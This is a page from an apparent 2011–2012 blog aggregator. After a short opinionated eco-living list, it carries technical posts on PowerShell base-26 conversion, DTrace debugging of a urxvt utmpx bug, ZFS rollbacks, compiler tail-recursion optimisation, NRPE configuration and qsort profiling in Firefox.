    * Computer use up many watts, especially the new models, the more components you have the more electricity is used. If it recommended that you use power saving capabilities of the computer and always shut it off at night.

    * buy less: A majority of the stuff which is bought can last longer if one . Earth is not a fad. If it works use it, if you don't have enough to make yourself optimal buy it, but make it last.


    * Portable devices: These are good if you have a disability and you cannot retain information! They usually wind up in the dump and typically you'll loose the information because the batteries go dead!


    Contact the email address below if you want more information on how to get rid of those portable machines and their batteries for good. (And yes, for many the computer is just a crutch)

    * Dining. If you like playing russion roulette with what you consume physically then you like to dine out! If available ask for a content chart(taco bell and mcdonald's have these suprisingly). A good suggestion is just to buy from the supermarket. It's also wise to become a vegatarian. Many famous people like Einstein and Leonardo De Vinci supported vegetarianism. Many of the meat that you eat will make you become sluggish and add health problems (apart from smoking and taking drugs, eating meat is the one thing that new Doctors ask you when you first sign up with them). Vegatables and fruits get there energy from the primary source; the Sun. Be wise with what you injest. A majority of the meat raising and milk cuddling is from harsh and violent environments that leave our animals in terror. which you eventually injest. If you do buy milk, buy organic. Same with eggs too.



    If you would like to add to this guideline sheet or help inform others on conververation for the planet , then by all means do so. (c) copyright 2007 John Lutz. If you have any questions or would just like to talk please contact me at: JohnnyLutz[[at]]gmail.com


    "By helping the Earth, you help yourself."







    by JohnnyL (noreply@blogger.com) at January 31, 2012 09:43 AM

    January 10, 2012

    Justin Dearing

    Using PowerShell to represent Base 26 as the uppercase English Alphabet

    Today I was asked to do something that seemed simple, until I actually had to do it. A coworker had a database with two fields he wanted renamed in a specific way. For our example, lets call them ProductNumber and ProductName. He wanted ProductNumber to be sequential (1, 2, 3 . . .) and the ProductName fields to be called “Product A”, “Product B” . . . “Product Z”, “Product AA” etc. So this suddenly became a non-trivial problem if you had more than 26 rows, which of course I did.

    So I rolled up my sleeve, got a fresh cup of coffee, and got to work. Populating ProductNumber was easy enough using a Common Table Expression (CTE) with a ROW_NUMBER(). Then I realized I could think of the English alphabet as symbols for a base 26 number system, with AA following Z and so on. The only problem was I couldn’t express that in a set based way for a clean T-SQL implementation. No problem, I’d just generate the T-SQL to make a giant mapping table in PowerShell!

    I am ashamed to admit I had to look up the algorithim for converting from base 10 to another number. I was also surprised to discover that the first result google returned me was this tripod page.

    The algorithm is as follows.

    1. Start with an empty string which becomes the return value
    2. While the value is greater than the base get the remainder of the value divided by the base. Convert that to its letter and prepend that to the return value
    3. Repeat step 2 with the quotient of the value over the base.
    4. When the quotient is less than the base, prepend that to the string instead.

    It seemed simple enough, but there were some headaches.

    The first thing I discovered was that when you divide integers in PowerShell, you get a float as a result. Also casting it back to an int rounds instead of truncating the results. I was expecting the opposite in both cases, because that is how C# behaves. I ended up using the unwieldy combination of Math.Floor() and a cast in the form [int][math]::Floor($currVal / 26) to resolve this. The MSDN technet has an article that recommends the more unwieldy [Math]::floor([int] $currVal / [int] 26), but I proved that my terser method gives the same results.

    Then I had problems with how to display powers of 26. The way it was supposed to work was that 1 = A, 24 = X, 25 = Y, 26 = Z and 27 = AA. However, depending on how I did it I ended up with 26 = AZ or 27 = BA. I could not account for this edge case, nor compensate for it with special conditions.

    Then it dawned on me, A needed to be equal to zero not one. A base 10 system deals with the digits 0-9. Base 2 deals with 0 and 1. Base 16 deals with 0-F and F is 15. Once I rewrote my script to work that way, edge cases disappeared, and things just worked.

    The script

    	function Convert-ToLetters ([parameter(Mandatory=$true,ValueFromPipeline=$true)][int] $value)  {
    		$currVal = $value;
    		$returnVal = '';
    		while ($currVal -ge 26) {
    			$returnVal = [char](($currVal) % 26 + 65) + $returnVal;
    			$currVal =  [int][math]::Floor($currVal / 26)
    		}
    		$returnVal = [char](($currVal) + 64) + $returnVal;
    
    		return $returnVal
    	}
    

    If its not clear how I generated upper case letters, the ASCII codes for A through Z are 65 through 90, and casting an integer to a char converts it to its ASCII code. Ergo, the expression [char]65 evaluates to “A”.

    So now here’s the function in action:

    1 .. 100 | ForEach-Object {
    	$_ | Convert-ToLetters
    }

    Happy Scripting!

    by Justin at January 10, 2012 03:59 AM

    January 08, 2012

    Josef "Jeff" Sipek

    Outage and data-loss

    You may have noticed that about a week ago my webserver went down. It started off as having to deal with two failed disks in a Wikipedia article: RAID6, but quickly turned into a system reinstall. There was no data-loss because of hardware failures, but I am sad to say that I accidentally nuked all the blahg post titles and publication times. Additionally, all the comment times and author names are gone. The content for both posts and comments is safe.

    I’ll try to restore as many posts as possible as soon as possible. It might involve going through archive.org and copying the metadata over.

    How did the data-loss happen? I forgot to backup extended attributes. My blahging software uses them to store the post metadata. Oops.

    Sorry for the inconvenience.

    by JeffPC at January 08, 2012 05:05 PM

    November 05, 2011

    Josef "Jeff" Sipek

    DTrace: The utmp_update Debugger

    For the past 2 years, I am a happy user of rxvt-unicode, aka urxvt. Recently, I noticed that my logs contained rather mysterious error messages:

    Nov  3 22:46:03 meili utmp_update[1613]: [ID 845426 user.error] Wrong number of
    	arguments or invalid user 
    

    Sometimes, there were a dozen of these. Of course I filed a bug with the Illumos folks. Rich Lowe suggested using DTrace to figure out what is actually going on. It was time to look at the exit codes for utmp_update.

    syscall::rexit:entry
    /execname=="utmp_update"/
    {
    	printf("utmp_update exited with code %d", arg0);
    	@[arg0] = count();
    }
    
    tick-60sec
    {
    	printa(@);
    }
    

    Since utmp is involved, it had something to do with terminals, so I tried to open some terminals and close them. That did it!

    # dtrace -s catch-errors.d 
    dtrace: script 'catch-errors.d' matched 2 probes
    CPU     ID                    FUNCTION:NAME
      0     49                      rexit:entry utmp_update exited with code 0
      1     49                      rexit:entry utmp_update exited with code 0
      0     49                      rexit:entry utmp_update exited with code 7
      0     49                      rexit:entry utmp_update exited with code 7
      1     49                      rexit:entry utmp_update exited with code 0
      5     49                      rexit:entry utmp_update exited with code 0
      1     49                      rexit:entry utmp_update exited with code 0
      2     49                      rexit:entry utmp_update exited with code 0
      3     49                      rexit:entry utmp_update exited with code 7
      1  67549                      :tick-60sec 
                    7                3
                    0                6
    

    It turns out that every time I closed a terminal, utmp_update exited with error 7. A quick glance at usr/src/cmd/utmp_update/utmp_update.c reveals:

    /*
     * Return codes
     */
    #define	NORMAL_EXIT		0
    #define	BAD_ARGS		1
    #define	PUTUTXLINE_FAILURE	2
    #define	FORK_FAILURE		3
    #define	SETSID_FAILURE		4
    #define	ALREADY_DEAD		5
    #define	ENTRY_NOTFOUND		6
    #define	ILLEGAL_ARGUMENT	7
    #define	DEVICE_ERROR		8
    

    Aha! It really is an invalid argument. At this point, Rich pointed me to setutxline in libc.so. Sadly, for whatever reason, the probe pid*:libc.so.1:pututxline:entry didn’t work (it didn’t match anything). Rich suggested the following DTrace script:

    proc:::exec
    /strstr(args[0], "utmp") != NULL/
    {
    	trace(execname);
    }
    

    Pretty straightforward — the output told me that it was urxvt causing all this trouble.

    Now, I knew to watch out for pututxline in urxvt. I tried to set a probe pid$target::pututxline:entry and use the new print function in DTrace, but due to a user error (read: sometimes I write stupid code) it didn’t work. Rich helped me navigate through mdb to get a print-out of the utx structure. At this point, it was a bit too late in the night and so I went to bed.

    The next morning, I tried the print function again and this time I used it right and it printed out the structure:

    struct utmpx {
        char [32] ut_user = [ "" ]
        char [4] ut_id = [ 'v', 't', '0', '2' ]
        char [32] ut_line = [ "pts/2" ]
        pid_t ut_pid = 0x193ec
        short ut_type = 0x8
        struct exit_status ut_exit = {
            short e_termination = 0
            short e_exit = 0
        }
        struct timeval ut_tv = {
            time_t tv_sec = 0x4eb55d2a
            suseconds_t tv_usec = 0x18adc
        }
        int ut_session = 0
        int [5] pad = [ 0, 0, 0, 0, 0 ]
        short ut_syslen = 0
        char [257] ut_host = [ "" ]
    }
    

    Everything looks right, except that the ut_user field is blank. I wonder if this could be the cause of it. Time to look at the urxvt code! (The ustack() action in a DTrace probe for pututxline:entry will tell you where to look.) Here’s a snippet from rxvt-unicode-9.12/libptytty/src/logging.C:

    /*
     * remove utmp and wtmp entries
     */
    void
    ptytty_unix::logout ()
    {
      ...
    #ifdef HAVE_STRUCT_UTMPX
      setutxent ();
      tmputx = getutxid (utx);
      if (tmputx && tmputx->ut_pid == cmd_pid)
        pututxline (utx);
      endutxent ();
    #endif
      ...
    }
    

    Ok, so it gets a utx struct and then it puts a different one. Let’s see how different those two are:

    # cat getutxid.d
    #include <utmpx.h>
    
    pid$target::getutxid:return
    {
    	ustack();
    	print(*(struct utmpx*)copyin(arg1, sizeof(struct utmpx)));
    }
    # dtrace -Cs getutxid.d -p 103403
    dtrace: script 'getutxid.d' matched 1 probes
    dtrace: pid 103403 has exited
    CPU     ID                    FUNCTION:NAME
      4  67555                  getutxid:return 
                  libc.so.1`getutxid+0xf1
                  urxvt`_ZN11ptytty_unixD0Ev+0x16
                  urxvt`_ZN9rxvt_termD1Ev+0x59b
                  urxvt`_ZN9rxvt_term10destroy_cbERN2ev4idleEi+0x70
                  urxvt`_ZN2ev4baseI7ev_idleNS_4idleEE12method_thunkI9rxvt_termXadL_ZNS5_10destroy_cbERS2_iEEEEvPS1_i+0x27
                  urxvt`ev_invoke_pending+0x35
                  urxvt`ev_run+0x520
                  urxvt`main+0x29b
                  urxvt`_start+0x83
    struct utmpx {
        char [32] ut_user = [ "jeffpc" ]
        char [4] ut_id = [ 'v', 't', '0', '2' ]
        char [32] ut_line = [ "pts/2" ]
        pid_t ut_pid = 0x193ec
        short ut_type = 0x7
        struct exit_status ut_exit = {
            short e_termination = 0
            short e_exit = 0x2
        }
        struct timeval ut_tv = {
            time_t tv_sec = 0x4eb55d1f
            suseconds_t tv_usec = 0x18adc
        }
        int ut_session = 0
        int [5] pad = [ 0, 0, 0, 0x303a0005, 0x302e ]
        short ut_syslen = 0
        char [257] ut_host = [ "" ]
    }
    

    Ok, it’s more or less the same. It does, however, have a username filled in. I wonder what would happen if I filled in the username. (The urxvt code seems to fill it in only on login updates and it leaves the field empty on logout updates.) Now, I had 3 choices…

    1. Change the urxvt code to fill in the username on logout updates.
    2. Set a breakpoint in gdb or mdb and then tweak the structure before it is passed to utmp_update.
    3. Use DTraces “destructive” option to allow me to modify the process’s memory.

    I chose #3.

    Here’s the script in all its glory:

    #pragma D option destructive
    
    #include <utmpx.h>
    
    pid$target::getutxid:return
    {
    	ustack();
    	print(*(struct utmpx*)copyin(arg1, sizeof(struct utmpx)));
    }
    
    pid$target::pututxline:entry
    {
    	ustack();
    	print(*(struct utmpx*)copyin(arg0, sizeof(struct utmpx)));
    	printf("\nFIXING...\n");
    	copyout("jeffpc\0", (uintptr_t)&((struct utmpx*)arg0)->ut_user[0], 7);
    	print(*(struct utmpx*)copyin(arg0, sizeof(struct utmpx)));
    }
    
    pid$target::pututxline:return
    {
    	printf("pututxline returned %p", arg1);
    }
    

    And here’s the output:

    # dtrace -Cs foo.d -p 103403
    dtrace: script 'foo.d' matched 3 probes
    dtrace: allowing destructive actions
    dtrace: pid 103403 has exited
    CPU     ID                    FUNCTION:NAME
      4  67555                  getutxid:return 
                  libc.so.1`getutxid+0xf1
                  urxvt`_ZN11ptytty_unixD0Ev+0x16
                  urxvt`_ZN9rxvt_termD1Ev+0x59b
                  urxvt`_ZN9rxvt_term10destroy_cbERN2ev4idleEi+0x70
                  urxvt`_ZN2ev4baseI7ev_idleNS_4idleEE12method_thunkI9rxvt_termXadL_ZNS5_10destroy_cbERS2_iEEEEvPS1_i+0x27
                  urxvt`ev_invoke_pending+0x35
                  urxvt`ev_run+0x520
                  urxvt`main+0x29b
                  urxvt`_start+0x83
    struct utmpx {
        char [32] ut_user = [ "jeffpc" ]
        char [4] ut_id = [ 'v', 't', '0', '2' ]
        char [32] ut_line = [ "pts/2" ]
        pid_t ut_pid = 0x193ec
        short ut_type = 0x7
        struct exit_status ut_exit = {
            short e_termination = 0
            short e_exit = 0x2
        }
        struct timeval ut_tv = {
            time_t tv_sec = 0x4eb55d1f
            suseconds_t tv_usec = 0x18adc
        }
        int ut_session = 0
        int [5] pad = [ 0, 0, 0, 0x303a0005, 0x302e ]
        short ut_syslen = 0
        char [257] ut_host = [ "" ]
    }
      4  67556                 pututxline:entry 
                  libc.so.1`pututxline
                  urxvt`_ZN11ptytty_unix6logoutEv+0x15c
                  urxvt`_ZN11ptytty_unixD0Ev+0x16
                  urxvt`_ZN9rxvt_termD1Ev+0x59b
                  urxvt`_ZN9rxvt_term10destroy_cbERN2ev4idleEi+0x70
                  urxvt`_ZN2ev4baseI7ev_idleNS_4idleEE12method_thunkI9rxvt_termXadL_ZNS5_10destroy_cbERS2_iEEEEvPS1_i+0x27
                  urxvt`ev_invoke_pending+0x35
                  urxvt`ev_run+0x520
                  urxvt`main+0x29b
                  urxvt`_start+0x83
    struct utmpx {
        char [32] ut_user = [ "" ]
        char [4] ut_id = [ 'v', 't', '0', '2' ]
        char [32] ut_line = [ "pts/2" ]
        pid_t ut_pid = 0x193ec
        short ut_type = 0x8
        struct exit_status ut_exit = {
            short e_termination = 0
            short e_exit = 0
        }
        struct timeval ut_tv = {
            time_t tv_sec = 0x4eb55d2a
            suseconds_t tv_usec = 0x18adc
        }
        int ut_session = 0
        int [5] pad = [ 0, 0, 0, 0, 0 ]
        short ut_syslen = 0
        char [257] ut_host = [ "" ]
    }
    FIXING...
    struct utmpx {
        char [32] ut_user = [ "jeffpc" ]
        char [4] ut_id = [ 'v', 't', '0', '2' ]
        char [32] ut_line = [ "pts/2" ]
        pid_t ut_pid = 0x193ec
        short ut_type = 0x8
        struct exit_status ut_exit = {
            short e_termination = 0
            short e_exit = 0
        }
        struct timeval ut_tv = {
            time_t tv_sec = 0x4eb55d2a
            suseconds_t tv_usec = 0x18adc
        }
        int ut_session = 0
        int [5] pad = [ 0, 0, 0, 0, 0 ]
        short ut_syslen = 0
        char [257] ut_host = [ "" ]
    }
      4  67557                pututxline:return pututxline returned fef6ecf0
    

    We can see the getutxid return a reasonable utmpx. Then we see pututxline get a utmpx without a username set. Then there is the fixed up tmpx. Finally, we see that the pututxline returned a non-NULL pointer. (It returns NULL on error — which does indeed happen without the fix-up.)

    There you have it, folks. DTrace let me debug an issue without annoying change-compile-install cycles. Now, all I have to do is fix up urxvt in OpenIndiana and possibly, if it applies to other systems, push the fix upstream.

    by JeffPC at November 05, 2011 09:54 PM

    October 28, 2011

    Josef "Jeff" Sipek

    Timesavers: ZFS & BE

    I’ve mentioned Boot Environments before. Well, earlier this week BEs and ZFS snapshots saved me a bunch of time. Here’s what happened.

    I was in the middle of installing some package (pkg install foo) when my laptop locked up. I had to power cycle it the hard way. When it booted back up, I retried the install, but pkg complained that some state file was corrupted and it didn’t want to do anything. Uh oh. I’ve had similar issue happen to me on Debian with aptitude, so I knew that the hard way of fixing this issue was going to take more time than I’d like to dedicate to it (read: none). Thankfully, I use OpenIndiana which has ZFS and BEs.

    1. Reboot into a BE from a while ago (openindiana-3). The latest BE (openindiana-4) was created by pkg about a month ago as a clone of openindiana-3 during a major upgrade.
    2. Figure out which automatic ZFS snapshot I want to revert to. A matter of running zfs list -t all rpool/ROOT/openindiana-4 | tail -5 and picking the latest snapshot which I believe is from before pkg messed it all up. I ended up going an hour back just to make sure.
    3. Revert the BE. beadm rollback openindiana-4@zfs-auto-snap_hourly-2011-10-25-19h11
    4. Reboot back into openindiana-4.

    After the final reboot, everything worked just fine. (Since the home directories are on a different dataset, they were left untouched.)

    Total downtime: 5 minutes
    Ease of repair: trivial

    Your Turn

    Do you have a corrupt package manager war story? Did you just restore from backup? Let me know in a comment.

    by JeffPC at October 28, 2011 04:12 PM

    October 13, 2011

    Josef "Jeff" Sipek

    Recursion with Sun Studio

    I mentioned my post about recursion & DTrace in the #dtrace, and one of the folks there asked about Sun’s/Oracle’s compiler — Studio. I happen to have version 12u1, so why not have some more fun? :)

    First things first, the results. With -O1, both variants recurse — 6 calls followed by 6 returns. With -O2, the naive code still recurses, while the explicitly-coded-as-tail-recursive code tail-recurses.

    Here are the disassemblies (for -O2). Naive-recursive:

    08050aa0 <fac>:
     8050aa0:	55                   	push   %ebp
     8050aa1:	8b ec                	mov    %esp,%ebp
     8050aa3:	53                   	push   %ebx
     8050aa4:	83 ec 04             	sub    $0x4,%esp
     8050aa7:	83 e4 f0             	and    $0xfffffff0,%esp
     8050aaa:	8b 5d 08             	mov    0x8(%ebp),%ebx
     8050aad:	83 fb 01             	cmp    $0x1,%ebx
     8050ab0:	7f 07                	jg     8050ab9 <fac+0x19>
     8050ab2:	b8 01 00 00 00       	mov    $0x1,%eax
     8050ab7:	eb 12                	jmp    8050acb <fac+0x2b>
     8050ab9:	83 ec 0c             	sub    $0xc,%esp
     8050abc:	8d 43 ff             	lea    -0x1(%ebx),%eax
     8050abf:	50                   	push   %eax
     8050ac0:	e8 db ff ff ff       	call   8050aa0 <fac>
     8050ac5:	83 c4 10             	add    $0x10,%esp
     8050ac8:	0f af c3             	imul   %ebx,%eax
     8050acb:	8d 65 fc             	lea    -0x4(%ebp),%esp
     8050ace:	5b                   	pop    %ebx
     8050acf:	c9                   	leave  
     8050ad0:	c3                   	ret    
    

    and tail-recursive:

    08050aa0 <fac>:
     8050aa0:	55                   	push   %ebp
     8050aa1:	8b ec                	mov    %esp,%ebp
     8050aa3:	8b 55 08             	mov    0x8(%ebp),%edx
     8050aa6:	8b 45 0c             	mov    0xc(%ebp),%eax
     8050aa9:	83 fa 01             	cmp    $0x1,%edx
     8050aac:	7e 0d                	jle    8050abb <fac+0x1b>
     8050aae:	8d 4a ff             	lea    -0x1(%edx),%ecx
     8050ab1:	0f af c2             	imul   %edx,%eax
     8050ab4:	8b d1                	mov    %ecx,%edx
     8050ab6:	83 f9 01             	cmp    $0x1,%ecx
     8050ab9:	7f f3                	jg     8050aae <fac+0xe>
     8050abb:	89 45 0c             	mov    %eax,0xc(%ebp)
     8050abe:	89 55 08             	mov    %edx,0x8(%ebp)
     8050ac1:	c9                   	leave  
     8050ac2:	c3                   	ret 
    

    I find it fascinating that Studio produced nearly identical code to gcc. The big differences that you can see are: (1) Studio defaults to saving the frame pointer while gcc omitted it, (2) gcc inserted a no-op to 16-byte align the loop, and (3) Studio uses an extra register to perform the subtraction (the n-1).

    The subtraction surprised me, and so I examined the code more closely. My guess is that Studio attempts to move the subtraction as far up as possible to start it early. This way, by the time we actually need the subtracted value (the cmp instruction) it’s already available. Compare that to gcc’s sub followed immediately by cmp. Some processors are designed in such a way that the result of sub will be available by the time cmp wants to execute. Others are not.

    Your Turn

    Have you noticed any interesting compiler optimizations? Share them in a comment!

    by JeffPC at October 13, 2011 11:30 PM

    October 12, 2011

    Josef "Jeff" Sipek

    Recursion

    Last night while reading about DTrace, I came across an example that involved tracing a simple recursive factorial program. I pointed it out to my girlfriend, Holly, since I thought that she’d find it interesting — the class she teaches has a section about recursion.

    Here’s the original code:

    extern int fac (int n);
    
    int main(int argc, char **argv)
    {
    	int f;
    	f = fac(6);
    	return 0;
    }
    
    int fac (int n)
    {
    	if (n <= 1)
    		return 1;
    	else
    		return n * fac (n - 1);
    }
    
    

    Pretty simple. I compiled it, and ran it with DTrace:

    $ gcc -o fac orig.c 
    $ cat fac.d 
    pid$target::fac:entry
    {
            trace (arg0);
    }
    pid$target::fac:return
    {
            trace (arg1);
    }
    $ sudo dtrace -Fs fac.d -c ./fac
    dtrace: script 'fac.d' matched 2 probes
    dtrace: pid 1146 has exited
    CPU FUNCTION                                 
      0  -> fac                                                   6
      0    -> fac                                                 5
      0      -> fac                                               4
      0        -> fac                                             3
      0          -> fac                                           2
      0            -> fac                                         1
      0            <- fac                                         1
      0          <- fac                                           2
      0        <- fac                                             6
      0      <- fac                                              24
      0    <- fac                                               120
      0  <- fac                                                 720
    

    Cool! I thought I was done. Holly asked whether it would work with tail-recursion. Interesting, I thought…it might - depending on how gcc handles the function prologue and epilogue. The D script is a little different to dump both of the arguments. Here’s the result:

    $ gcc -o fact tail.c
    $ cat fact.d 
    pid$target::fac:entry
    {
            trace (arg0); trace(arg1);
    }
    pid$target::fac:return
    {
            trace (arg1);
    }
    $ sudo dtrace -Fs fact.d -c ./fact
    dtrace: script 'fact.d' matched 2 probes
    dtrace: pid 1233 has exited
    CPU FUNCTION                                 
      2  -> fac                                                   6                1
      2    -> fac                                                 5                6
      2      -> fac                                               4               30
      2        -> fac                                             3              120
      2          -> fac                                           2              360
      2            -> fac                                         1              720
      2            <- fac                                       720
      2          <- fac                                         720
      2        <- fac                                           720
      2      <- fac                                             720
      2    <- fac                                               720
      2  <- fac                                                 720
    

    You can see the values getting calculated and passed down versus them getting calculated on during the return. That was fun to see. But wait! If this function is tail recursive, why are we seeing all these returns? It should be just one return! Doh! I didn’t compile with optimizations so gcc emitted the stupidest possible code. Easy enough to fix:

    $ gcc -o fact -O2 tail.c 
    $ sudo dtrace -Fs fact.d -c ./fact
    dtrace: script 'fact.d' matched 2 probes
    dtrace: pid 1304 has exited
    
    $
    

    Huh… nothing happened! fac was never called. Let’s see what gcc emitted:

    $ objdump -S fact
    ...
    Disassembly of section .text.startup:
    
    08050d10 <main>:
     8050d10:       31 c0                   xor    %eax,%eax
     8050d12:       c3                      ret  
    

    Great, the main function turned into a return 0 because the value returned by fac() was never used. Easy enough, let’s just return the value from main.

    $ cat tail.c 
    extern int fac (int n);
    
    int main(int argc, char **argv)
    {
            return fac(6);
    }
    
    int fac (int n)
    {
            if (n <= 1)
                    return 1;
            else
                    return n * fac (n - 1);
    }
    $ gcc -o fact -O2 tail.c 
    $ objdump -S fact
    ...
    Disassembly of section .text.startup:
    
    08050d10 <main>:
     8050d10:       b8 d0 02 00 00          mov    $0x2d0,%eax
     8050d15:       c3                      ret    
    

    Argh! Thanks gcc, you replaced my fac(6) function call with the value 720 — that is the factorial of 6. Fine, let’s do this the hard way: get an int from the first argument and print it out. Also, to prevent inlining, let’s put it in a separate file. So, now we have:

    $ cat fac.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <time.h>
    
    extern int fac (int n);
    
    int main(int argc, char **argv)
    {
            printf("%d\n", fac(atoi(argv[1])));
            return 0;
    }
    $ cat fac_2.c
    int fac (int n)
    {
            if (n <= 1)
                    return 1;
            else
                    return n * fac (n - 1);
    }
    $ cat fact.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <time.h>
    
    extern int fac (int n, int v);
    
    int main(int argc, char **argv)
    {
            printf("%d\n", fac(atoi(argv[1]), 1));
            return 0;
    }
    $ cat fact_2.c
    int fac (int n, int v)
    {
            if (n <= 1)
                    return v;
            else
                    return fac(n-1, n*v);
    }
    

    Now, if we run the two variants compiled with -O2, we get:

    $ sudo dtrace -Fs fac.d -c "./fac 6"
    dtrace: script 'fac.d' matched 2 probes
    720
    dtrace: pid 1397 has exited
    CPU FUNCTION                                 
      2  -> fac                                                   6
      2  <- fac                                                 720
    
    $ sudo dtrace -Fs fact.d -c "./fact 6"
    dtrace: script 'fact.d' matched 2 probes
    720
    dtrace: pid 1399 has exited
    CPU FUNCTION                                 
      5  -> fac                                                   6                1
      5  <- fac                                                 720
    

    Weird, for both we can see only one function entry and return. Let’s try with -O1:

    $ sudo dtrace -Fs fac.d -c "./fac 6"
    dtrace: script 'fac.d' matched 2 probes
    720
    dtrace: pid 1393 has exited
    CPU FUNCTION                                 
      6  -> fac                                                   6
      6    -> fac                                                 5
      6      -> fac                                               4
      6        -> fac                                             3
      6          -> fac                                           2
      6            -> fac                                         1
      6            <- fac                                         1
      6          <- fac                                           2
      6        <- fac                                             6
      6      <- fac                                              24
      6    <- fac                                               120
      6  <- fac                                                 720
    
    $ sudo dtrace -Fs fact.d -c "./fact 6"
    dtrace: script 'fact.d' matched 2 probes
    720
    dtrace: pid 1395 has exited
    CPU FUNCTION                                 
      2  -> fac                                                   6                1
      2    -> fac                                                 5                6
      2      -> fac                                               4               30
      2        -> fac                                             3              120
      2          -> fac                                           2              360
      2            -> fac                                         1              720
      2            <- fac                                       720
      2          <- fac                                         720
      2        <- fac                                           720
      2      <- fac                                             720
      2    <- fac                                               720
      2  <- fac                                                 720
    

    Ok, now were back to having call and return instructions for both cases — the tail recursive function is not actually tail recursing when it should. So, first moral of the story is: -O1 is not enough to make tail recursive functions tail recurse. The odd behavior of the non-tail recursive code with -O2 is still weird. Let’s disassemble it; first the simple recursive code:

    08050d00 <fac>:
     8050d00:       8b 54 24 04             mov    0x4(%esp),%edx
     8050d04:       b8 01 00 00 00          mov    $0x1,%eax
     8050d09:       83 fa 01                cmp    $0x1,%edx
     8050d0c:       7e 0d                   jle    8050d1b <fac+0x1b>
     8050d0e:       66 90                   xchg   %ax,%ax
     8050d10:       0f af c2                imul   %edx,%eax
     8050d13:       83 ea 01                sub    $0x1,%edx
     8050d16:       83 fa 01                cmp    $0x1,%edx
     8050d19:       75 f5                   jne    8050d10 <fac+0x10>
     8050d1b:       f3 c3                   repz ret 
     8050d1d:       90                      nop    
     8050d1e:       90                      nop    
     8050d1f:       90                      nop    
    

    Whoa! gcc turned the plain recursive code into a tail-recursive one. For comparison, here’s the disassembly of the explicitly-coded-as-tail-recursive function:

    08050d00 <fac>:
     8050d00:       8b 54 24 04             mov    0x4(%esp),%edx
     8050d04:       8b 44 24 08             mov    0x8(%esp),%eax
     8050d08:       83 fa 01                cmp    $0x1,%edx
     8050d0b:       7e 0e                   jle    8050d1b <fac+0x1b>
     8050d0d:       8d 76 00                lea    0x0(%esi),%esi
     8050d10:       0f af c2                imul   %edx,%eax
     8050d13:       83 ea 01                sub    $0x1,%edx
     8050d16:       83 fa 01                cmp    $0x1,%edx
     8050d19:       75 f5                   jne    8050d10 <fac+0x10>
     8050d1b:       f3 c3                   repz ret 
     8050d1d:       90                      nop    
     8050d1e:       90                      nop    
     8050d1f:       90                      nop
    

    Do you see it? It’s virtually identical to what gcc emitted for the naive code.

    So there you have it folks. The compiler is smarter than you, more consistent than you, and less likely to screw up compared to you when converting a recursive function into a tail-recursive one. In general, you should not prematurely optimize.

    In case you care, I’ve used gcc 4.6.1 for these experiments on OpenIndiana.

    Your Turn

    Do you have an interesting compiler optimization story? Share it in a comment!

    by JeffPC at October 12, 2011 05:47 PM

    Justin Lintz

    NRPE returning no output?

    command[check_recent_core]=PLUGINPATH/check_recent_core.sh --file="$ARG1" --freshness=$ARG2$

    Spot the error? I only wasted an hour of my life and another 30 minutes of co-workers trying to figure out why I kept getting a "NRPE: No output returned from plugin" error in Nagios. The issue? $ARG1 is missing a closing “$”. *slams head on desk*

    by justin at October 12, 2011 01:37 AM

    October 03, 2011

    Josef "Jeff" Sipek

    update_drv: adding a driver alias

    Over the weekend, I got fed up with my laptop (Thinkpad T520) using the VESA driver even though I have an NVidia card. After some searching online, I came to the conclusion that the nvidia driver I had installed (280.13) should work with my card but there was an alias missing. So, I ran the following to add an alias for the PCI ID:

    # update_drv -a -i '"pciex10de,1057"' nvidia
    

    A reboot (really, X restart would have done, but it is nice to know that things come up as expected during a reboot) later, I was greeted by accelerated graphics. Yay!

    Of course I created a bug for OpenIndiana to have the missing alias added. This post is supposed to serve as a reminder for myself about how to use update_drv.

    by JeffPC at October 03, 2011 03:32 PM

    October 02, 2011

    Josef "Jeff" Sipek

    DTrace: qsort use in Firefox, part 2

    Earlier, I wrote about some silly qsort behavior in Firefox. I couldn’t help but dig a bit deeper.

    Before, we concluded that there were a lot of 8-element, 4-byte element sorts. What are these used for? What part of Firefox is causing these? DTrace to the rescue.

    First, let’s change the last DTrace command from last time a bit. First of all, let’s look at 4-byte element invocations only (arg2 equals 4) and let’s aggregate on the caller function name:

    # dtrace -n 'pid1120:libc:qsort:entry/arg2==4/{@[ufunc(ucaller)]=llquantize(arg1, 10,0,6,20)} tick-60sec{printa(@)}'
    
    ...
      1  75455                      :tick-60sec 
      libnss3.so`DPCache_GetUpToDate                    
               value  ------------- Distribution ------------- count    
                 < 1 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 14       
                   1 |                                         0        
    
      libglib-2.0.so.0.2501.0`g_array_sort              
               value  ------------- Distribution ------------- count    
                 700 |                                         0        
                 750 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 1        
                 800 |                                         0        
    
      libfontconfig.so.1`FcFontSetSort                  
               value  ------------- Distribution ------------- count    
                  55 |                                         0        
                  60 |@                                        4        
                  65 |                                         2        
                  70 |                                         0        
                  75 |@@@@                                     20       
                  80 |@@@@@                                    24       
                  85 |@@@@@@@                                  36       
                  90 |@@@@@                                    26       
                  95 |                                         0        
                 100 |@@@@@@@@@@@@@@                           76       
                 150 |@@@@                                     22       
                 200 |                                         0        
    
      libcairo.so.2.10800.10`_cairo_bentley_ottmann_tessellate_bo_edges
               value  ------------- Distribution ------------- count    
                   3 |                                         0        
                   4 |@                                        59       
                   5 |                                         0        
                   6 |                                         32       
                   7 |                                         0        
                   8 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@            2357     
                   9 |                                         0        
                  10 |@@                                       137      
                  15 |@@@                                      215      
                  20 |@                                        52       
                  25 |                                         12       
                  30 |@                                        58       
                  35 |@@                                       200      
                  40 |@                                        67       
                  45 |                                         3        
                  50 |                                         2        
                  55 |                                         2        
                  60 |                                         7        
                  65 |                                         0        
                  70 |@                                        67       
                  75 |                                         0        
                  80 |                                         0        
                  85 |                                         0        
                  90 |                                         0        
                  95 |                                         16       
                 100 |                                         0   
    

    We see four unique functions that call qsort. It doesn’t take long to spot the one we were looking for: _cairo_bentley_ottmann_tessellate_bo_edges in libcairo.so. Interesting, so it turns out that it wasn’t Firefox itself doing all these sorts (8-element, 4-byte element) but rather the Cairo graphics library. It would also seem that it is the only place that does these sorts. Let’s see how Firefox is involved in this.

    # dtrace -n 'pid1120:libc:qsort:entry/arg2==4 && arg1==8/{@[ustack()]=count()} tick-60sec{printa(@)}'
    
    ...
      0  75455                      :tick-60sec 
    
                  libc.so.1`qsort
